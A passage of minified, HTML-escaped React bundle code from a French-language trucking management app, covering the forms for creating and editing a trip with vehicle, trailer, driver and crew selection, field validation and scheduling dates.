obligatoire&quot;});return}if(!i.loadingType.trim()){t({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le type de chargement est obligatoire&quot;});return}if(!i.loadingOrderNumber.trim()){t({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le numéro de bon de chargement est obligatoire&quot;});return}if(!i.loadingOrderDate){t({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;La date du bon de chargement est obligatoire&quot;});return}if(!i.mainDriverId){t({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un chauffeur principal&quot;});return}try{const ee=i.plannedStartAt?new Date(i.plannedStartAt):new Date;let ne;E?.standardDurationDays&amp;&amp;(ne=new Date(ee),ne.setDate(ne.getDate()+E.standardDurationDays));const V=ee.toISOString(),ue=ne?.toISOString(),de={vehicleId:i.vehicleId,trailerId:i.trailerId||void 0,mainDriverId:i.mainDriverId,additionalCrewIds:i.additionalCrewIds.length&gt;0?i.additionalCrewIds:void 0,title:i.title.trim(),description:i.description.trim()||void 0,clientName:i.clientName.trim(),clientReference:i.clientReference.trim()||void 0,loadingSite:i.loadingLocationId&amp;&amp;y.find(_e=&gt;_e.id===i.loadingLocationId)?.name||i.loadingSite.trim(),unloadingSite:i.unloadingLocationId&amp;&amp;y.find(_e=&gt;_e.id===i.unloadingLocationId)?.name||i.unloadingSite.trim(),loadingType:i.loadingType.trim(),loadingOrderNumber:i.loadingOrderNumber.trim(),loadingOrderDate:new Date(i.loadingOrderDate),expectedTours:i.expectedTours||1,voyageTypeId:i.voyageTypeId||void 0,loadingLocationId:i.loadingLocationId||void 0,unloadingLocationId:i.unloadingLocationId||void 0,loadingBonImageUrl:i.loadingBonImageUrl||void 0,plannedStartAt:V,plannedEndAt:ue,status:i.status},xe=await r.mutateAsync(de);i.createTripsNow&amp;&amp;await n.mutateAsync({voyageId:xe.id,mode:i.tripMode}),e(&quot;/voyages&quot;)}catch(ee){console.error(&quot;Error creating mission:&quot;,ee)}}},G=l||d||h||j||A||v,J=r.isPending||n.isPending;return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 pb-8&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-4&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;e(&quot;/voyages&quot;),className:&quot;flex-shrink-0&quot;,children:a.jsx(iu,{className:&quot;h-5 w-5&quot;})}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h1&quot;,{className:&quot;text-2xl font-semibold&quot;,children:&quot;Créer un voyage&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Remplissez les informations pour créer un nouveau voyage&quot;})]})]}),G?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):a.jsxs(&quot;form&quot;,{onSubmit:W,className:&quot;space-y-8&quot;,children:[a.jsxs(it,{className:&quot;p-6&quot;,children:[a.jsx(Se,{className:&quot;text-lg font-semibold mb-4 block&quot;,children:&quot;Type de voyage&quot;}),a.jsx(xne,{voyageTypes:p,selectedId:i.voyageTypeId,onSelect:q=&gt;{s(ee=&gt;({...ee,voyageTypeId:q?.id||null}))},isLoading:A})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 lg:grid-cols-2 gap-8&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(Se,{className:&quot;text-base font-semibold&quot;,children:[&quot;Véhicule &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-2 sm:grid-cols-3 gap-3 max-h-96 overflow-y-auto p-2 border rounded-lg&quot;,children:T.map(q=&gt;{const ee=i.vehicleId===q.id;return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;$(q.id),className:`relative p-3 rounded-lg border-2 transition-all text-left ${ee?&quot;border-[#8B5CF6] bg-[#8B5CF6]/5 shadow-[0_0_8px_rgba(139,92,246,0.3)]&quot;:&quot;border-border hover:border-primary/50 hover:bg-accent&quot;}`,children:[ee&amp;&amp;a.jsxs(a.Fragment,{children:[a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2 z-10&quot;,children:a.jsx(na,{className:&quot;h-5 w-5 text-[#8B5CF6]&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2 z-10&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs bg-[#8B5CF6]/20 text-[#8B5CF6] border-[#8B5CF6]/30&quot;,children:&quot;✔️ Sélectionné&quot;})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[q.photoUrl?a.jsx(&quot;div&quot;,{className:&quot;relative w-full aspect-video rounded overflow-hidden bg-muted&quot;,children:a.jsx(&quot;img&quot;,{src:Sr(q.photoUrl)||void 0,alt:q.immatriculation,className:&quot;w-full h-full object-cover&quot;,onError:ne=&gt;{ne.target.style.display=&quot;none&quot;}})}):a.jsx(&quot;div&quot;,{className:&quot;w-full aspect-video rounded bg-muted flex items-center justify-center&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-3xl&quot;,children:&quot;🚚&quot;})}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-mono font-semibold text-sm&quot;,children:q.immatriculation}),(q.marque||q.modele)&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[q.marque,&quot; &quot;,q.modele]})]})]})]},q.id)})})]}),C&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsx(Se,{className:&quot;text-base font-semibold&quot;,children:&quot;Remorque&quot;}),a.jsx(__,{vehicle:C,trailer:R,isFromCoupling:!!w?.trailer&amp;&amp;!i.trailerId}),!w?.trailer&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Sélectionner une remorque (optionnel)&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 sm:grid-cols-3 gap-3 max-h-48 overflow-y-auto p-2 border rounded-lg&quot;,children:[a.jsx(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;P(null),className:`p-3 rounded-lg border-2 transition-all text-center ${i.trailerId?&quot;border-border hover:border-primary/50&quot;:&quot;border-primary bg-primary/5&quot;}`,children:a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium&quot;,children:&quot;Sans remorque&quot;})}),c.map(q=&gt;{const ee=i.trailerId===q.id;return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;P(q.id),className:`relative p-3 rounded-lg border-2 transition-all text-left ${ee?&quot;border-primary bg-primary/5&quot;:&quot;border-border hover:border-primary/50&quot;}`,children:[ee&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2 z-10&quot;,children:a.jsx(na,{className:&quot;h-4 w-4 text-primary&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[q.photoUrl?a.jsx(&quot;div&quot;,{className:&quot;relative w-full aspect-video rounded overflow-hidden bg-muted&quot;,children:a.jsx(&quot;img&quot;,{src:Sr(q.photoUrl)||void 0,alt:q.numeroChassis,className:&quot;w-full h-full object-cover&quot;})}):a.jsx(&quot;div&quot;,{className:&quot;w-full aspect-video rounded bg-muted flex items-center justify-center&quot;,children:a.jsx(il,{className:&quot;h-6 w-6 text-muted-foreground&quot;})}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-mono font-semibold text-xs&quot;,children:q.numeroChassis}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:q.type})]})]})]},q.id)})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(Se,{className:&quot;text-base font-semibold&quot;,children:[&quot;Chauffeur principal &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),M.length===0?a.jsx(it,{className:&quot;p-4 border-dashed&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground text-center&quot;,children:&quot;Aucun chauffeur disponible&quot;})}):a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 gap-3 max-h-64 overflow-y-auto p-2 border rounded-lg&quot;,children:M.map(q=&gt;{const ee=i.mainDriverId===q.id;return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;L(q.id),className:`relative p-3 rounded-lg border-2 transition-all text-left ${ee?&quot;border-green-500 bg-green-500/5 shadow-[0_0_8px_rgba(34,197,94,0.3)]&quot;:&quot;border-border hover:border-primary/50 hover:bg-accent&quot;}`,children:[ee&amp;&amp;a.jsxs(a.Fragment,{children:[a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2 z-10&quot;,children:a.jsx(na,{className:&quot;h-5 w-5 text-green-500&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2 z-10&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs bg-green-500/20 text-green-700 border-green-500/30&quot;,children:&quot;✔️ Sélectionné&quot;})})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-12 h-12 rounded-full overflow-hidden border-2 border-border flex-shrink-0&quot;,children:q.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(q.photoUrl)||void 0,alt:`${q.prenom} ${q.nom}`,className:&quot;w-full h-full object-cover&quot;,onError:ne=&gt;{ne.target.style.display=&quot;none&quot;}}):a.jsxs(&quot;div&quot;,{className:&quot;w-full h-full bg-muted flex items-center justify-center text-xs font-semibold&quot;,children:[q.prenom.charAt(0),q.nom.charAt(0)]})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;font-semibold text-sm truncate&quot;,children:[q.prenom,&quot; &quot;,q.nom]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:nO[q.role]||q.role})]})]})]},q.id)})})]}),O.length&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsx(Se,{className:&quot;text-base font-semibold&quot;,children:&quot;Autres membres d&#039;équipage (optionnel)&quot;}),a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 gap-3 max-h-64 overflow-y-auto p-2 border rounded-lg&quot;,children:O.map(q=&gt;{const ee=i.additionalCrewIds.includes(q.id);return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;X(q.id),className:`relative p-3 rounded-lg border-2 transition-all text-left ${ee?&quot;border-primary bg-primary/5&quot;:&quot;border-border hover:border-primary/50 hover:bg-accent&quot;}`,children:[ee&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2 z-10&quot;,children:a.jsx(na,{className:&quot;h-4 w-4 text-primary&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-10 h-10 rounded-full overflow-hidden border-2 border-border flex-shrink-0&quot;,children:q.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(q.photoUrl)||void 0,alt:`${q.prenom} ${q.nom}`,className:&quot;w-full h-full object-cover&quot;,onError:ne=&gt;{ne.target.style.display=&quot;none&quot;}}):a.jsxs(&quot;div&quot;,{className:&quot;w-full h-full bg-muted flex items-center justify-center text-xs font-semibold&quot;,children:[q.prenom.charAt(0),q.nom.charAt(0)]})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;font-semibold text-sm truncate&quot;,children:[q.prenom,&quot; &quot;,q.nom]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:nO[q.role]||q.role})]})]})]},q.id)})})]})]}),a.jsx(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsxs(Se,{htmlFor:&quot;title&quot;,className:&quot;text-base font-semibold&quot;,children:[&quot;Titre du voyage &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;title&quot;,value:i.title,onChange:q=&gt;s(ee=&gt;({...ee,title:q.target.value})),placeholder:&quot;Ex: Ouaga – Lomé – Clinker&quot;,className:&quot;mt-1&quot;,required:!0})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(Se,{htmlFor:&quot;description&quot;,className:&quot;text-base font-semibold&quot;,children:&quot;Description (optionnel)&quot;}),a.jsx(&quot;textarea&quot;,{id:&quot;description&quot;,value:i.description,onChange:q=&gt;s(ee=&gt;({...ee,description:q.target.value})),placeholder:&quot;Détails supplémentaires sur la mission...&quot;,className:&quot;mt-1 w-full min-h-[100px] px-3 py-2 rounded-md border border-input bg-background text-sm ring-offset-background placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsxs(Se,{htmlFor:&quot;clientName&quot;,className:&quot;text-base font-semibold&quot;,children:[&quot;Client &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;clientName&quot;,value:i.clientName,onChange:q=&gt;s(ee=&gt;({...ee,clientName:q.target.value})),placeholder:&quot;Nom du client&quot;,className:&quot;mt-1&quot;,required:!0})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(Se,{htmlFor:&quot;clientReference&quot;,className:&quot;text-base font-semibold&quot;,children:&quot;Référence client (optionnel)&quot;}),a.jsx(Xe,{id:&quot;clientReference&quot;,value:i.clientReference,onChange:q=&gt;s(ee=&gt;({...ee,clientReference:q.target.value})),placeholder:&quot;Ref. client&quot;,className:&quot;mt-1&quot;})]})]}),a.jsx(&quot;div&quot;,{children:a.jsx(i4,{locations:y,selectedId:i.loadingLocationId,onSelect:q=&gt;{s(ee=&gt;({...ee,loadingLocationId:q?.id||null,loadingSite:q?.name||&quot;&quot;}))},isLoading:v,label:&quot;Lieu de chargement&quot;,placeholder:&quot;Rechercher un lieu de chargement...&quot;})}),a.jsx(&quot;div&quot;,{children:a.jsx(i4,{locations:y,selectedId:i.unloadingLocationId,onSelect:q=&gt;{s(ee=&gt;({...ee,unloadingLocationId:q?.id||null,unloadingSite:q?.name||&quot;&quot;}))},isLoading:v,label:&quot;Lieu de déchargement&quot;,placeholder:&quot;Rechercher un lieu de déchargement...&quot;})}),a.jsxs(&quot;div&quot;,{children:[a.jsxs(Se,{htmlFor:&quot;loadingType&quot;,className:&quot;text-base font-semibold&quot;,children:[&quot;Type de chargement &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;loadingType&quot;,value:i.loadingType,onChange:q=&gt;s(ee=&gt;({...ee,loadingType:q.target.value})),placeholder:&quot;Ex: Clinker, Ciment ensaché&quot;,className:&quot;mt-1&quot;,required:!0})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsxs(Se,{htmlFor:&quot;loadingOrderNumber&quot;,className:&quot;text-base font-semibold&quot;,children:[&quot;N° bon de chargement &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;loadingOrderNumber&quot;,value:i.loadingOrderNumber,onChange:q=&gt;s(ee=&gt;({...ee,loadingOrderNumber:q.target.value})),placeholder:&quot;N° bon&quot;,className:&quot;mt-1&quot;,required:!0})]}),a.jsxs(&quot;div&quot;,{children:[a.jsxs(Se,{htmlFor:&quot;loadingOrderDate&quot;,className:&quot;text-base font-semibold&quot;,children:[&quot;Date bon de chargement &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;loadingOrderDate&quot;,type:&quot;date&quot;,value:i.loadingOrderDate,onChange:q=&gt;s(ee=&gt;({...ee,loadingOrderDate:q.target.value})),className:&quot;mt-1&quot;,required:!0})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;plannedStartAt&quot;,className:&quot;text-base font-semibold&quot;,children:&quot;Date de départ prévue&quot;}),a.jsx(Xe,{id:&quot;plannedStartAt&quot;,type:&quot;datetime-local&quot;,value:i.plannedStartAt,onChange:q=&gt;s(ee=&gt;({...ee,plannedStartAt:q.target.value})),className:&quot;mt-1&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:i.plannedStartAt?&quot;Date de départ définie par l&#039;utilisateur&quot;:&quot;Si non définie, la date de création du voyage sera utilisée&quot;}),E?.standardDurationDays&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;mt-2 p-3 bg-muted/50 rounded-lg&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:[&quot;Durée standard du type de voyage : &quot;,E.standardDurationDays,&quot; jour&quot;,E.standardDurationDays&gt;1?&quot;s&quot;:&quot;&quot;]}),i.plannedStartAt&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mt-1&quot;,children:[&quot;Date de retour prévue : &quot;,new Date(new Date(i.plannedStartAt).getTime()+E.standardDurationDays*24*60*60*1e3).toLocaleString(&quot;fr-FR&quot;,{day:&quot;2-digit&quot;,month:&quot;short&quot;,year:&quot;numeric&quot;,hour:&quot;2-digit&quot;,minute:&quot;2-digit&quot;})]})]})]}),a.jsx(&quot;div&quot;,{children:a.jsx(yne,{imageUrl:i.loadingBonImageUrl,onImageChange:q=&gt;s(ee=&gt;({...ee,loadingBonImageUrl:q})),isLoading:J})}),a.jsx(&quot;div&quot;,{children:a.jsx(vne,{value:i.expectedTours,onChange:q=&gt;s(ee=&gt;({...ee,expectedTours:q}))})})]})})]}),a.jsx(it,{className:&quot;p-4 bg-muted/30&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3&quot;,children:[a.jsx(S1,{id:&quot;createTripsNow&quot;,checked:i.createTripsNow,onCheckedChange:q=&gt;s(ee=&gt;({...ee,createTripsNow:q}))}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;createTripsNow&quot;,className:&quot;text-base font-semibold cursor-pointer&quot;,children:&quot;Créer tout de suite les trajets&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Si coché, les trajets seront créés automatiquement à partir de ce voyage.&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-4 mt-2&quot;,children:[a.jsxs(&quot;label&quot;,{className:&quot;flex items-center gap-2 cursor-pointer&quot;,children:[a.jsx(&quot;input&quot;,{type:&quot;radio&quot;,name:&quot;tripMode&quot;,value:&quot;one_way&quot;,checked:i.tripMode===&quot;one_way&quot;,onChange:()=&gt;s(q=&gt;({...q,tripMode:&quot;one_way&quot;})),className:&quot;cursor-pointer&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm&quot;,children:&quot;Aller simple&quot;})]}),a.jsxs(&quot;label&quot;,{className:&quot;flex items-center gap-2 cursor-pointer&quot;,children:[a.jsx(&quot;input&quot;,{type:&quot;radio&quot;,name:&quot;tripMode&quot;,value:&quot;round_trip&quot;,checked:i.tripMode===&quot;round_trip&quot;,onChange:()=&gt;s(q=&gt;({...q,tripMode:&quot;round_trip&quot;})),className:&quot;cursor-pointer&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm&quot;,children:&quot;Aller-retour&quot;})]})]})]})]})}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-end gap-4 pt-4 border-t&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;e(&quot;/voyages&quot;),disabled:J,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,disabled:J,className:&quot;bg-[#8B5CF6] hover:bg-[#7C3AED]&quot;,children:J?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Création en cours...&quot;]}):&quot;Créer le voyage&quot;})]})]})]})}const iO={chauffeur:&quot;Chauffeur&quot;,apprenti:&quot;Apprenti&quot;};function sHe(){const[,e]=mg(&quot;/voyages/:id/edit&quot;),[,t]=Gi(),{toast:r}=Er(),n=e?.id?parseInt(e.id):null,i=UPe(),{data:s,isLoading:o}=D8(n||0),[l,c]=I.useState({voyageTypeId:null,vehicleId:null,trailerId:null,mainDriverId:null,additionalCrewIds:[],title:&quot;&quot;,description:&quot;&quot;,clientName:&quot;&quot;,clientReference:&quot;&quot;,loadingSite:&quot;&quot;,unloadingSite:&quot;&quot;,loadingLocationId:null,unloadingLocationId:null,loadingType:&quot;&quot;,loadingOrderNumber:&quot;&quot;,loadingOrderDate:&quot;&quot;,loadingBonImageUrl:null,expectedTours:1,plannedStartAt:&quot;&quot;,status:&quot;planned&quot;});I.useEffect(()=&gt;{if(s){const ne=ue=&gt;{if(!ue)return&quot;&quot;;const de=new Date(ue),xe=de.getFullYear(),_e=String(de.getMonth()+1).padStart(2,&quot;0&quot;),Ce=String(de.getDate()).padStart(2,&quot;0&quot;);return`${xe}-${_e}-${Ce}`},V=ue=&gt;{if(!ue)return&quot;&quot;;const de=new Date(ue),xe=de.getFullYear(),_e=String(de.getMonth()+1).padStart(2,&quot;0&quot;),Ce=String(de.getDate()).padStart(2,&quot;0&quot;),we=String(de.getHours()).padStart(2,&quot;0&quot;),ve=String(de.getMinutes()).padStart(2,&quot;0&quot;);return`${xe}-${_e}-${Ce}T${we}:${ve}`};c({voyageTypeId:s.voyageTypeId||null,vehicleId:s.vehicleId||null,trailerId:s.trailerId||null,mainDriverId:s.mainDriverId||null,additionalCrewIds:s.additionalCrew?.map(ue=&gt;ue.id)||[],title:s.title||&quot;&quot;,description:s.description||&quot;&quot;,clientName:s.clientName||&quot;&quot;,clientReference:s.clientReference||&quot;&quot;,loadingSite:s.loadingSite||&quot;&quot;,unloadingSite:s.unloadingSite||&quot;&quot;,loadingLocationId:s.loadingLocationId||null,unloadingLocationId:s.unloadingLocationId||null,loadingType:s.loadingType||&quot;&quot;,loadingOrderNumber:s.loadingOrderNumber||&quot;&quot;,loadingOrderDate:ne(s.loadingOrderDate),loadingBonImageUrl:s.loadingBonImageUrl||null,expectedTours:s.expectedTours||1,plannedStartAt:V(s.plannedStartAt),status:s.status||&quot;planned&quot;})}},[s]);const{data:d=[],isLoading:u}=cr({queryKey:[&quot;/api/vehicles&quot;]}),{data:h=[],isLoading:p}=cr({queryKey:[&quot;/api/trailers&quot;]}),{data:A=[],isLoading:y}=cr({queryKey:[&quot;/api/crew-members&quot;]}),{data:v=[],isLoading:w}=D_(!0),{data:j=[],isLoading:E}=OC(!0),{data:S,isLoading:_}=k_(l.vehicleId),C=v.find(ne=&gt;ne.id===l.voyageTypeId)||null,Q=I.useRef(null),R=d.find(ne=&gt;ne.id===l.vehicleId)||null,M=h.find(ne=&gt;ne.id===l.trailerId)||null||S?.trailer||null,O=I.useMemo(()=&gt;[...d].sort((ne,V)=&gt;0),[d]),$=I.useMemo(()=&gt;A.filter(ne=&gt;ne.role===&quot;chauffeur&quot;),[A]),P=I.useMemo(()=&gt;A.filter(ne=&gt;ne.role===&quot;apprenti&quot;),[A]);I.useEffect(()=&gt;{S?.trailer?.id&amp;&amp;!l.trailerId&amp;&amp;c(ne=&gt;({...ne,trailerId:S.trailer.id}))},[S,l.trailerId]),I.useEffect(()=&gt;{!S||!l.vehicleId||_||c(ne=&gt;{let V={...ne},ue=!1;S.chauffeur?.id&amp;&amp;!ne.mainDriverId&amp;&amp;(V.mainDriverId=S.chauffeur.id,ue=!0);const de=S.apprentis;if(de&amp;&amp;Array.isArray(de)&amp;&amp;de.length&gt;0){const xe=de.map(_e=&gt;_e?.id).filter(_e=&gt;_e!=null);if(xe.length&gt;0){const _e=ne.additionalCrewIds,Ce=xe.filter(we=&gt;!_e.includes(we));Ce.length&gt;0&amp;&amp;(V.additionalCrewIds=[..._e,...Ce],ue=!0)}}return ue?V:ne})},[S,l.vehicleId,_]),I.useEffect(()=&gt;{C&amp;&amp;l.voyageTypeId&amp;&amp;l.voyageTypeId!==Q.current&amp;&amp;!E&amp;&amp;j.length&gt;=0&amp;&amp;(Q.current=l.voyageTypeId,c(ne=&gt;{const V={};if(V.title=C.name,V.loadingType=C.loadingType,C.defaultClientName&amp;&amp;(V.clientName=C.defaultClientName),C.defaultLoadingLocationId){V.loadingLocationId=C.defaultLoadingLocationId;const ue=j.find(de=&gt;de.id===C.defaultLoadingLocationId);ue&amp;&amp;(V.loadingSite=ue.name)}if(C.defaultUnloadingLocationId){V.unloadingLocationId=C.defaultUnloadingLocationId;const ue=j.find(de=&gt;de.id===C.defaultUnloadingLocationId);ue&amp;&amp;(V.unloadingSite=ue.name)}return C.expectedToursDefault&amp;&amp;(V.expectedTours=C.expectedToursDefault),{...ne,...V}})),l.voyageTypeId||(Q.current=null)},[l.voyageTypeId,C,j,E]);const L=ne=&gt;{c(V=&gt;({...V,vehicleId:ne,trailerId:null}))},X=ne=&gt;{c(V=&gt;({...V,trailerId:ne}))},W=ne=&gt;{c(V=&gt;({...V,mainDriverId:ne}))},G=ne=&gt;{c(V=&gt;{const ue=V.additionalCrewIds.includes(ne);return{...V,additionalCrewIds:ue?V.additionalCrewIds.filter(de=&gt;de!==ne):[...V.additionalCrewIds,ne]}})},J=async ne=&gt;{if(ne.preventDefault(),!ee){if(!l.vehicleId){r({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un véhicule&quot;});return}if(!l.title.trim()){r({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le titre du voyage est obligatoire&quot;});return}if(!l.clientName.trim()){r({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le nom du client est obligatoire&quot;});return}if(!l.loadingLocationId&amp;&amp;!l.loadingSite.trim()){r({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le lieu de chargement est obligatoire&quot;});return}if(!l.unloadingLocationId&amp;&amp;!l.unloadingSite.trim()){r({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le lieu de déchargement est obligatoire&quot;});return}if(!l.loadingType.trim()){r({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le type de chargement est obligatoire&quot;});return}if(!l.loadingOrderNumber.trim()){r({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le numéro de bon de chargement est obligatoire&quot;});return}if(!l.loadingOrderDate){r({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;La date du bon de chargement est obligatoire&quot;});return}if(!l.mainDriverId){r({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un chauffeur principal&quot;});return}try{const V=l.plannedStartAt?new Date(l.plannedStartAt):new Date;let ue;C?.standardDurationDays&amp;&amp;(ue=new Date(V),ue.setDate(ue.getDate()+C.standardDurationDays));const de=V.toISOString(),xe=ue?.toISOString(),_e={vehicleId:l.vehicleId,trailerId:l.trailerId||void 0,mainDriverId:l.mainDriverId,additionalCrewIds:l.additionalCrewIds.length&gt;0?l.additionalCrewIds:void 0,title:l.title.trim(),description:l.description.trim()||void 0,clientName:l.clientName.trim(),clientReference:l.clientReference.trim()||void 0,loadingSite:l.loadingLocationId&amp;&amp;j.find(Ce=&gt;Ce.id===l.loadingLocationId)?.name||l.loadingSite.trim(),unloadingSite:l.unloadingLocationId&amp;&amp;j.find(Ce=&gt;Ce.id===l.unloadingLocationId)?.name||l.unloadingSite.trim(),loadingType:l.loadingType.trim(),loadingOrderNumber:l.loadingOrderNumber.trim(),loadingOrderDate:new Date(l.loadingOrderDate),expectedTours:l.expectedTours||1,voyageTypeId:l.voyageTypeId||void 0,loadingLocationId:l.loadingLocationId||void 0,unloadingLocationId:l.unloadingLocationId||void 0,loadingBonImageUrl:l.loadingBonImageUrl||void 0,plannedStartAt:de,plannedEndAt:xe,status:l.status};if(!n){r({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;ID du voyage manquant&quot;});return}await i.mutateAsync({id:n,data:_e}),t(`/voyages/${n}`)}catch(V){console.error(&quot;Error creating mission:&quot;,V)}}},q=u||p||y||_||w||E||o,ee=i.isPending;return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 pb-8&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center 